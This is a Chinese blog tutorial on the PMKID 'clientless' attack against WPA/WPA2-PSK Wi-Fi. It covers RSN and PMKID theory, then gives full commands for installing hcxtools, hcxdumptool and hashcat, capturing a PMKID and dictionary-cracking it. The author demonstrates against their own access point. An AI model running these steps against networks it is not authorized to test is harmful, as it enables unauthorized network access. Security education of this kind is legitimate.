Author:颖奇L'Amore Blog:www.gem-love.com

0x01 前言

2018年8月4日,在hashcat论坛上一位安全研究员发了一个帖子,声称他在研究WPA3的安全性时无意中发现了一种全新的预共享密钥攻击方式,通过使用PMKID(Pairwise Master Key Identifier,成对主密钥标识符)破解WPA/WPA2的预共享密钥,轰动了全球。 这种“无客户端攻击”方法的出现,标志着暴力破解不再需要有活跃客户端的参与,但应用的条件有限,受影响范围较低。


0x02 攻击原理

1.介绍

在本系列文章的第二篇介绍了WPA2-PSK破解的原理,其必要条件是需要有EAPoL四次握手的报文,进而通过比较MIC值判断密钥是否正确。但是本文要介绍的这种方法的最大区别就在于它并不需要EAPoL四次握手包即可进行PSK的暴力破解。 通过PMKID进行无客户端暴力破解PSK的攻击方式并没有造成特别大的影响,因为它利用了RSN IE (Robust Security Network Information Element),漏洞的发现者称它适用于所有支持漫游功能的802.11i/p/q/r网络,这些特征在较高级的路由器上得到支持。 360安全研究院高级安全研究员兼产品经理、天马安全团队核心成员杨芸菲(qingxp9)统计了家庭网络和写字楼中受此漏洞威胁的Wi-Fi网络实际上不足3%。 这种方式之所以被称为“无客户端”攻击,是因为它是攻击者直接和AP对话的。

2.RSN

RSN IE是强健安全网络信息元素的简称,RSN要求必须使用AES加密以加强安全性,是一个802.11i的安全标准。其实,在2004年IEEE 802.11i修订完成后,WiFi联盟推出了沿用至今的WPA2,WPA2的加密由TKIP更新为AES正是因为RSN的要求。为了增强安全性,IEEE 802.11i为RSN提供了两个重要的协议:四次握手和主密钥握手,WPA/WPA2中的四次握手就源于此,因为它们都是基于802.11i的,顺便一提,WPA实际上是802.11i的一个草案标准,在802.11i修订成功后WiFi联盟便正式对其进行了升级并正式推出WPA2,所以WPA也使用四次握手也就不足为奇了。 RSN IE最大为255字节,报文结构如下:

RSN IE是802.11管理帧中的一个可变长度的可选字段,存在于在这些类型的帧中:

如果想通过wireshark抓包,可以通过这个过滤器来抓取这4种管理帧:

wlan.fc.type == 0 && (wlan.fc.type_subtype == 0x00 wlan.fc.type_subtype == 0x00 wlan.fc.type_subtype == 0x05 wlan.fc.type_subtype == 0x08)

3.PMKID

PMKID存在于RSN Information中的RSN Capabilies字段内。该漏洞发现者在hashcat论坛原文中贴出了PMKID的wireshark报文截图:

PMKID是通过PMK等进行哈希得到的一个哈希值,其计算公式为:

PMKID = HMAC-SHA1-128(PMK, “PMK Name” MAC_AP MAC_STA)

让我们再次回顾EAPoL四次握手: 在完成链路关联后开始四次握手,可以看到,第一个携带着EAPoL Key的消

息是由AP发出的:

因此,攻击者可以与AP开始四次握手,在四次握手的Message 1中得到所需要的数据,之后进行哈希爆破,并不需要其他客户端的参与。

4.IEEE 802.11r

该攻击方法的提出者称这种方法应用于支持漫游的WPA/WPA2-PSK认证的Wi-Fi网络。所谓漫游是一种支持从一个基站快速“无缝”切换到另一个基站的技术。举个例子,假设坐在高铁上打了10分钟的电话,高铁的速度是300km/h,那么这10分钟高铁行走了50公里,一个4G的基站的信号覆盖范围只有几百米,对于50公里肯定切换了很多个基站,但排除信号不好的情况下电话并没有发生卡顿,通话者也毫无感觉,这就是漫游。 更多相关知识请参考CCIE Wireless或CWSP认证相关文档。


0x03 攻击实现

环境介绍:

1.工具安装

本攻击需要hcxtools/hcxdumptol/hashcat这三个工具

① 安装hcxtools

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git clone https://github.con/ZerBea/hcxtools.git
make
make install

如果编译出这样的错误 需要安装一些依赖:

apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev libpcap-dev

zlib1g-dev和libssl-dev在kali下已自带,如果是其他linux发行版本就敲上面这个命令,kali的话就不用安装这俩了。之后再make就可以了,这样表示make成功:

② 安装hcxdumptool

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git clone https://github.com/ZerBea/hcxdumptool.git
make
make install

③ 安装hashcat

hashcat在kali linux下自带了。安装方式:

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git clone https://github.com/hashcat/hashcat.git
make
make install

或者直接:

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apt-get install hashcat

2.捕获PMKID

首先用airmon-ng将网卡置于Monitor Mode

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airmon-ng start wlan0

使用hcxdumptool破获PMKID

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hcxdumptool -o /root/y1ng.pcapng -i wlan0mon --enable\_status=1

在最下面可以看到这样的消息,表示获取PMKID成功:

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16:52:59 4 b0febdd69882 <-> 10bd18082864 PMKID:b418e4f858c1b0c37662a8d5042014f2 (Cisco\_GEM-LOVE.COM)

获取到目标的PMKID就可以暂停了

3.格式转换

这一步 目的是将刚刚的pccap包转换成hashcat可用的格式,使用hcxpcaptool:

hcxpcaptool -z y1ng.16800 y1ng.pcapng

这个16800可以通过hashcat --help查看帮助看到对应的hash类型:

16800 WPA-PMKID-PBKDF2 Network Protocols

导出的16800格式的文件会每个PMKID占一行,打开是这样的:

用3个星号将它们分成4个部分,分别表示:

4.暴力破解

之后就可以使用hashcat进行破解了,我使用了一个包含100个密码的字典来演示,其中有我的正确的密码:

命令:

hashcat -m 16800 y1ng.16800 -a 0 -w 3 pass.txt –force

相关参数的解释:

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\-w, --workload-profile  Num  Enable a specific workload profile, see pool below  -w 3

- \[ Workload Profiles \] -

# Performance Runtime Power Consumption Desktop Impact

===+=============+=========+===================+=================
1 Low 2 ms Low Minimal
2 Default 12 ms Economic Noticeable
3 High 96 ms High Unresponsive
4 Nightmare 480 ms Insane Headless

\-a, --attack-mode Num Attack-mode, see references below -a 3

- \[ Attack Modes \] -

# Mode

===+======
0 Straight
1 Combination
3 Brute-force
6 Hybrid Wordlist + Mask
7 Hybrid Mask + Wordlist

--force是可选参数,用来忽略一些warning,如果报warning的话就加上 爆破成功则会得到预共享密钥了


0x04 安全建议

0x05 References

https://www.freebuf.com/articles/wireless/179953.html https://www.freebuf.com/articles/system/180837.html

https://dwz.cn/h3VYhkx9